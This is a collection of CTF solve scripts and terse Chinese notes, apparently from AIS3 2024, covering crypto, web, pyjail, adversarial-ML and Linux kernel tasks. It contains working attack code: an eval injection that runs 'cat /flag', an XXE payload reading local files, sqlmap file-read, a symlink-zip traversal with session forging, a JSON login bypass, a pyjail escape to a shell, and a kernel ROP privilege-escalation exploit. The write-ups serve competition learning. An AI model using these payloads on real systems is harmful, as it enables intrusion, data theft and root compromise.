每個字元爆破
import ast, gmpy2
with open("output.txt") as f:
e, n = ast.literal_eval(f.readline().split(": ")[1])
encrypted = ast.literal_eval(f.readline().split(": ")[1])
def brute(c):
for i in range(1, 1000):
if gmpy2.powmod(i, e, n) == c:
return i
pt = [brute(c) for c in encrypted]
print(bytes(pt))
# AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
p-1 smooth,直接 pohlig-hellman
from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# io = process(["python", "zkp.py"])
io = remote("10.113.197.211", 7002)
io.sendlineafter(b'Option: ', b'1')
io.recvuntil(b'y = ')
y = int(io.recvlineS().strip())
F = GF(p)
x = F(y).log(F(5))
print(long_to_bytes(int(x)))
# AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}
RSA-CRT fault attack,賭它
from pwn import process, remote, context
import ast
from base64 import b64decode, b64encode
from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import gcd
from hashlib import sha256
def sign(io, m: bytes):
io.sendlineafter(b"Option: ", b"2")
io.sendline(b64encode(m))
io.recvuntil(b"Signature: ")
sig = b64decode(ast.literal_eval(io.recvlineS().strip()))
return bytes_to_long(sig)
def H(x: bytes):
return bytes_to_long(sha256(x).digest())
for _ in range(100):
# io = process(["python", "easyRSA.py"])
io = remote("10.113.197.211", 7001)
io.sendlineafter(b"Option: ", b"1")
io.recvuntil(b"e, n = ")
e, n = ast.literal_eval(io.recvlineS().strip())
for _ in range(3):
s = sign(io, b"a")
p = gcd(pow(s, e, n) - H(b"a"), n)
if p != 1 and p < n:
print(p)
break
else:
io.close()
print("Retry...")
continue
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
msg = b64encode(b"Give me the flag!")
sig = pow(H(msg), d, n)
io.sendlineafter(b"Option: ", b"3")
io.sendline(b64encode(long_to_bytes(sig)))
io.interactive()
break
# AIS3{IJustWantItFasterQAQ}
r 只有 1000 bits,比 1024 bits 的 p 小,可以當 HNP 解
from sage.all import *
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
import random
from lll_cvp import solve_inequality, kannan_cvp, flatter
from functools import partial
p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
# io = process(["python", "zkp-revenge.py"])
io = remote("10.113.197.211", 7004)
# io.sendlineafter(b'Option: ', b'1')
# io.recvuntil(b'y = ')
# y = int(io.recvlineS().strip())
def oracle(c: int):
assert c >= (1 << 600), f"too small, {c.bit_length() = }"
assert (p - (1 << 600)) >= c, f"too big, {(p - c).bit_length() = }"
io.sendlineafter(b"Option: ", b"2")
io.sendline(str(c).encode())
io.recvuntil(b"w = ")
return int(io.recvlineS().strip())
n = 100
cs = []
ws = []
for _ in range(n):
c = random.randint(1 << 600, p - (1 << 600))
w = oracle(c)
cs.append(c)
ws.append(w)
A = matrix.identity(n) * (p - 1)
B = matrix(cs).stack(matrix(ws))
L = block_matrix([[A, ZZ(0)], [B, ZZ(1)]])
cvp = partial(kannan_cvp, reduction=flatter)
lb = [0] * n + [0, 0]
ub = [2**1000] * n + [2**1000, 1]
sol = solve_inequality(L, lb, ub, cvp=cvp)
flag = long_to_bytes(int(abs(sol[-2])))
print(flag)
# AIS3{Wow!YouAreAMathMaster.}
r 和 sk 都小,3x3 LLL 搞定
from hashlib import sha256, sha512
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 150185824445338438503137342888022056633638169759810649363243704622323277332137303513686774817685398647961100204975427761104065098470367510524190260783534442188618531886739652741831859216836696141782764935683322790152278632694091541323716227103096628655152813919276066075519669643026819114311666482291445163699
g = 5
y = 76877500564117340561479939560167662549380204565073702131743107428012689714444806633202327284694273076663891114679380670820137823370006075466398844510385222281656298572125989350694349265225598804027676382026220031106911120943057216404723024451977342357463050947048653070486137491028023427676181317996918186745
a = 32526590557813432311225468105089258546494555415244350281788608747063518675921491018917256510947003590015240891508142579993999814652779526400269868547952177236689287717946082735037730091852991203951584574550470849340000371428356551467909242982615331621193818017280899485386167916245539916646806739532960507968
w = 94719933836524200229466053051493174098073457144103707805716651680927233371260214665579732066265594858984230783676225150374915625611916124448536631197767005015908074049027372069556312296921116072484673673899264970377172224903555466266691193389868887094669203685758808039000189586652974179612444903988887563032
c = bytes_to_long(sha512(f"{y}, {a}, {g}, {p}".encode()).digest() + sha256(f"{p}, {g}, {a}, {y}".encode()).digest())
# w = c * sk + r
K = 2**500
L = matrix([
[p - 1, 0, 0],
[w, K, 0],
[c, 0, -1]
]).LLL()
for row in L:
if abs(row[1]) == K:
v = sign(row[1]) * row
print(v)
break
r, _, sk = v
print(long_to_bytes(int(sk)))
# AIS3{What!YouSolveThis!?MaybeIShouldUseAGreaterRNextTime._.}
猜 len(str(time.time())) == 18
然後用 length extension attack 猜下個 block 的 xor key
from pwn import process, remote, context
from Crypto.Util.number import bytes_to_long, long_to_bytes
from ptrlib.crypto.hashing import MD5, lenext
from base64 import b64encode, b64decode
import ast
time_time = "1" * 18 # assuming len(str(time.time())) == 18
prefix = f"TimeStamp: {time_time} || User:CTF_Player || data: "
pad_to_block = 16 - len(prefix) % 16
blkidx = (len(prefix) + pad_to_block) // 16
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def to_blocks(x, n=16):
return [x[i : i + n] for i in range(0, len(x), n)]
def oracle(data: bytes):
io.sendlineafter(b"Option: ", b"1")
io.sendlineafter(b":", b64encode(data))
bb = ast.literal_eval(io.recvline().decode())
return b64decode(bb)
context.log_level = "DEBUG"
# io = process(["python", "md5_encryption.py"])
io = remote("10.113.197.211", 7003)
known = (
b"" + b" || Flag: AIS3{G" + b"ot1stBlk!_2ndblk" + b"!almostdone!thir" + b"d_block~}"
)
assert len(known) % 16 == 0
_, append = lenext(MD5, 80, b"x" * 16, b"", known)
append = append[: -len(known)] if known else append
res = oracle(b"x" * pad_to_block + append)
h = xor(to_blocks(res)[blkidx], append[:16])
print(h.hex()) # md5(sk + msg(time) + pad_to_block), total length = 16 + 64 = 80
hnext, _ = lenext(MD5, 80, h, b"", known)
hnext = bytes.fromhex(hnext)
bs = to_blocks(res)
for h in bs:
print(xor(h, hnext))
# AIS3{Got1stBlk!_2ndblk!almostdone!third_block~}
eval
import requests
r = requests.post(
"http://10.113.197.211:5001/calculate",
json={
"expression": "eval(data['x'])",
"x": "__import__('os').popen('cat /flag').read()",
},
)
print(r.text)
# AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
找個 example epub 下來,改 opf 成 xxe:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE maple[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<package xmlns="http://www.idpf.org/2007/opf" xmlns:dc="http://purl.org/dc/elements/1.1/" unique-identifier="db-id" version="3.0">
<metadata>
<dc:title id="t1">&xxe; Book</dc:title>
<dc:creator>Thomas Hansen</dc:creator>
<dc:identifier id="db-id">isbn</dc:identifier>
<meta property="dcterms:modified">2014-03-27T09:14:09Z</meta>
<dc:language>en</dc:language>
</metadata>
<manifest>
<item id="toc" href="toc.xhtml" media-type="application/xhtml+xml" properties="nav" />
<item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml" />
<item id="chapter_1" href="chapter_1.xhtml" media-type="application/xhtml+xml" />
</manifest>
<spine toc="ncx">
<itemref idref="toc" />
<itemref idref="chapter_1" />
</spine>
</package>
Flag: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}
sqlmap -u 'http://10.113.197.211:11454/song?id=1' --random-agent --timeout=1 --ignore-timeouts --dbms mysql --file-read=/flag
# AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
> ln -s / .root
> zip --symlinks qq.zip *.jpg .lnk
# upload to the website...
> curl 'http://10.113.197.211:51414/image/fe5e2c6cc0811d0a8a9814538d1cd684/.root/app/secret.py'
secret="No_Sumimi...OnlyAveMujuca"
> flask-unsign --secret 'No_Sumimi...OnlyAveMujuca' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA
> curl 'http://10.113.197.211:51414/admin' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZlKsBQ.TVRq7c34KVounoK54lCq8xnu3JA'
AIS3{So_Crazy...MyGO!!!!!_is_Dead}
bypass login
POST /user/login HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"username":"4dm1n1337","password":{
"Type": "secret"
}}
create template as admin:
Flag here: {{range $element := G1V3m34Fl4gpL34s3}} {{$element}} {{end}}
create post as other user:
POST /post/create HTTP/1.1
Host: 68a1e4587cff483e8cb0100b74f89d8c.capoost.chals1.ais3.org:5487
Content-Length: 66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487
Referer: http://bec41e23a7e143d9896950ad1c71e667.capoost.chals1.ais3.org:5487/postcreate.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9
Cookie: session=MTcxNjY5MTU1MHxEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBc0FDWE4xY0dWeWJtVnVaUT09fIxSAm0BpCvhtW6h7hvB6-KRCbIrePSVIjHsm9QUBCWc
Connection: close
{"title":"flag","template":"flag","data":{},
"owner":"4dm1n1337"}
then access the post:
{"code":500,"msg":"Internal server error","data":"template: flag:1:31: executing \"flag\" at \u003cG1V3m34Fl4gpL34s3\u003e: range can't iterate over AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}"}
Flag: AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}
> curl "http://10.113.197.211:36743/image/?file=$(printf ./db.sqlite3 | base64 -w0)" > tmp.sqlite3
> sqlite3 tmp.sqlite3 "select session_data from django_session where session_key = 'xpeh3ce13en90o1c68uk4715hmoxt5hb'"
.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw:1sB4w1:C-Cg-CiN9e0WDhIgUtasUAaMPJW4bkZwm0qDrUzYmCw
> import zlib, base64
> sess = '.eJwlT0tKBFEQu8tbu6hK_ecy0tg9IDij2LgS725GVxVCUkm-19d5fN6327Eua9tvr_f1tHDdnj-28zz2dblub-fxT72871SVNLy9ayxFxsEbihxYwifFzcdDOxAqntJaImivLlg4RWQrBSUw10kKAaFBMqsaHR0x0tlTNe4qGe4ZJnCv0ekBRiRNY4ZkNwxqnjqlRbcg_ZGZ9ld0Wpk_kdUOQh3W5ktVs5qu1KpKqlm9aTQ1zdGHItVi0ChTJvCriUR5PcawA2FwAv3CAeNmwuXuaNbgxMk0-M8vELFQNw'
> zlib.decompress(base64.urlsafe_b64decode(sess+'=='))
b'{"username":"admin","2fa_passed":false,"2fa_code":7082484879360094293651269236249604349451852510460817002847872354624046760270234196525220185066778285855908689779441065446530244791989229006315990248823213461971758502640028638487998128495678421281994254411337987617776863434840031316915441613592827312136403005747787229057454191770018943305184428758602966324}'
AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!}
上傳 1x1 png,1/2 機率會成功
from PIL import Image
Image.new("L", (1, 1), 0).save('qq.png')
很類似 https://blog.maple3142.net/2024/03/03/osu-gaming-ctf-2024-writeups/#i-hate-anime-girls ,只多了 randomize 的操作而已,直接拿 script 來改一改就行
import base64
import sys
import numpy as np
from PIL import Image
import torch
import torch.nn as nn
import torchvision.transforms as transforms
from torchvision.models import vgg11
from matplotlib import pyplot as plt
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
resize = transforms.Resize((224, 224), antialias=None)
to_tensor = transforms.ToTensor()
normalize = transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))
random = transforms.RandomResizedCrop(384, antialias=True)
model = vgg11()
in_features = model.classifier[-1].in_features
model.classifier[-1] = nn.Linear(in_features, 1)
model.load_state_dict(torch.load("model.pt"))
model = model.to(device)
original = np.array(Image.open("rick.png"))
# st = input(f"Devin's image filtering service (Enter a base64 encoded image)\n")
# try:
# img = np.frombuffer(base64.standard_b64decode(st), dtype=np.uint8)
# img = img.reshape(original.shape)
# assert np.max(np.abs(original.astype(np.int32) - img.astype(np.int32))) <= 8
# except:
# print("Yet another peaceful day without rickroll")
# sys.exit(0)
def pipeline(x, skip_to_tensor=False):
if not skip_to_tensor:
x = to_tensor(x)
x = resize(x)
x = x.unsqueeze(0)
x = normalize(x)
x = random(x)
return x
# assert (pipeline(Image.fromarray(original)) == pipeline(original)).all()
original_t = pipeline(original)
print(original_t.shape) # [batch, channel, height, width] = [1, 3, 224, 224]
x1 = pipeline(original)
x2 = pipeline(torch.tensor(original, dtype=torch.float32).permute(2, 0, 1) / 255, True)
# assert (x1 == x2).all()
def eval_model(x):
return torch.sigmoid(model(x))
orig_tensor = torch.tensor(original, dtype=torch.float32).permute(2, 0, 1).to(device)
x = torch.nn.Parameter(torch.clone(orig_tensor), requires_grad=True) # [C, H, W]
# if os.path.exists("x.png"):
# xdata = np.array(Image.open("x.png").convert("RGB"))
# x = torch.nn.Parameter(
# torch.tensor(xdata, dtype=torch.float32).permute(2, 0, 1).to(device),
# requires_grad=True,
# )
# optim = torch.optim.Adam([x], lr=1e-2)
optim = torch.optim.Adam([x], lr=1)
good_cnt = 0
while good_cnt < 8:
optim.zero_grad()
# limit the difference to 8
diff = torch.clamp(torch.clamp(x, 5, 255 - 5) - orig_tensor, -6, 6)
x.data.copy_(orig_tensor + diff)
# [C, H, W] -> [1, C, H, W]
r = pipeline(x / 255, skip_to_tensor=True)
y = eval_model(r)
loss = y
loss.backward()
optim.step()
print(y.item(), loss.item())
if y.item() <= 0.05: # add a margin due to rounding
good_cnt += 1
else:
good_cnt = 0
print(eval_model(pipeline(x / 255, skip_to_tensor=True)))
# draw x
plt.imsave(
"x.png",
x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy().astype(np.uint8),
)
img_data = np.asarray(Image.open("x.png").convert("RGB"))
assert (x.detach().cpu().squeeze().round().permute(1, 2, 0).numpy() == img_data).all()
mx = np.max(np.abs(original.astype(np.int32) - img_data.astype(np.int32)))
print(mx)
tmp_x = normalize(resize(to_tensor(Image.fromarray(img_data))).unsqueeze(0)).to(device)
with torch.no_grad():
y = torch.sigmoid(model(tmp_x))
print(y)
# AIS3{reurl.cc/gG83vz}
from PIL import Image
import numpy as np
from base64 import standard_b64encode
from pwn import process, remote
from subprocess import check_output
arr = np.asarray(Image.open("x.png").convert("RGB"))
buf = arr.tobytes()
def get_io(local):
if local:
return process(["python", "server.py"])
io = remote("10.113.197.211", 15351)
io.recvline()
powcmd = io.recvline().strip().decode()
print(powcmd)
input("ok?")
token = check_output(powcmd, shell=True).strip()
print(token)
io.sendlineafter(b"solution: ", token)
return io
io = get_io(False)
io.sendlineafter(b")\n", standard_b64encode(buf))
io.interactive()
# AIS3{reurl.cc/gG83vz}
(d:=Desc(),d.desc_helper('__dict__'),ga:=d.helper['__getattribute__'],d.desc_helper('__base__'),object:=d.helper,gao:=ga(object,'__getattribute__'),newobj:=gao([],'__reduce_ex__')(3)[0] ),gao(newobj,'__builtins__')['__import__']('os').system('sh')
# AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}
把整個網站抓下來,然後把 disable-devtool 那行停用還有把 dope.js 的 setInterval 停用,然後讀 code 看出它 check flag 會先把 flag 放到 window.Ching367436_flag
,然後 sleep 後看 window.Ching367436_flag_correct
的結果。
所以可知有其他地方可能會去定期檢查 flag,所以我用 define property 找找看觸發的 code 是哪個:
window.correct = false
Object.defineProperty(window, 'Ching367436_flag_correct', {
set: v => {
console.trace('set', v)
window.correct = v
},
get: () => window.correct
})
然後下斷點找一找就發現這邊有個函數的變數裡面有藏 flag:
[AIS3(7765)]: function (_0x4abcd2, _0x1013ed) {
return _0x4abcd2 === _0x1013ed;
}
Flag: AIS3{posi_ReAl_W0R1d_Obfuc4ted_Code_B9qgXaihce8:5px}
Linux kernel pwn, -aslr, +smep, +smap
在 qemu command 後加上 -gdb tcp::12345
然後 gdb target remote localhost:12345
可以 debug
可以觀察發現說 kernel stack 大概在 0xffff............
,而 EBH driver 有:
#define PROTECT_ADDRESS_START 0xffffffff00000000
long write_to_address(struct WriteToAddrData *ptr) {
struct WriteToAddrData data;
if (copy_from_user(&data, ptr, sizeof(struct WriteToAddrData))) return -EFAULT;
if (data.target > PROTECT_ADDRESS_START) return -EFAULT;
if (data.size > 0x60) return -EFAULT;
return copy_from_user(data.target, data.src, data.size);
}
所以代表 target
可以是 stack address,而且在 no aslr 的情況下是固定的。所以我用 gdb 抓 write_to_address
的 return address 出來,然後可以在那邊寫 0x60
長度的 ROP chain。
ROP chain 構造是直接參考 https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html
大概是 commit_creds(init_creds)
然後 return 到 rop_bypass_kpti
那邊就行
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define GET_PHYSICAL _IO('G', 0)
#define PEEK_PHYSICAL _IO('P', 0)
#define WRITE_TO_ADDRESS _IO('W', 0)
#define WRITE_NOTE _IO('W', 1)
struct PeekPhysicalData {
void *phyaddr;
unsigned long peeksize;
void *peekdata;
};
struct WriteToAddrData {
void *target;
void *src;
unsigned long size;
};
struct WriteNoteData {
void *src;
unsigned long size;
};
unsigned long user_cs, user_ss, user_rflags, user_sp;
static void save_state() {
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
puts("[+] Saved state");
}
static void win(void) {
char *argv[] = {"/bin/cat", "/flag", NULL};
char *envp[] = {NULL};
puts("[+] win!");
fflush(stdout);
execve("/bin/sh", argv, envp);
}
int main() {
int fd = open("/proc/EBH", 0);
if (fd < 0) {
puts("[-] Failed to open /proc/EBH");
return 1;
}
save_state();
// to find rop gadgets:
// pwndbg `search --asm '...' -e`
unsigned long pop_rdi = 0xffffffff810a2402;
unsigned long swapgs_popf_ret = 0xffffffff81c00eaa;
unsigned long iret_ret = 0xffffffff81024362;
unsigned long prepare_kernel_cred = 0xffffffff810895e0;
unsigned long commit_creds = 0xffffffff810892c0;
unsigned long init_cred = 0xffffffff82443f20;
unsigned long bypass_kpti = 0xffffffff81c00a45;
// this works without KPTI
// unsigned long rop[12] = {pop_rdi,
// init_cred,
// commit_creds,
// swapgs_popf_ret,
// 0,
// iret_ret,
// (unsigned long)win,
// user_cs,
// user_rflags,
// user_sp,
// user_ss};
unsigned long rop[12] = {pop_rdi,
init_cred,
commit_creds,
bypass_kpti,
0xdeadbeef,
0xdeadbeef,
(unsigned long)win,
user_cs,
user_rflags,
user_sp,
user_ss};
struct WriteToAddrData writedata = {
.target =
(void
*)0xffffc900001afe58, // stack return address of write_to_address
.src = rop,
.size = 0x60,
};
if (ioctl(fd, WRITE_TO_ADDRESS, &writedata) < 0) {
puts("[-] Failed to write to the address");
close(fd);
return 1;
}
close(fd);
return 0;
}
// AIS3{Oh_n0_1_fOrg37_%O_`iounmap`,_T_Wi|l_r3m*MbEr_i7_Ne/t_t1m#_QAQ}
// ありがとう、ptr-yudai さん
// https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html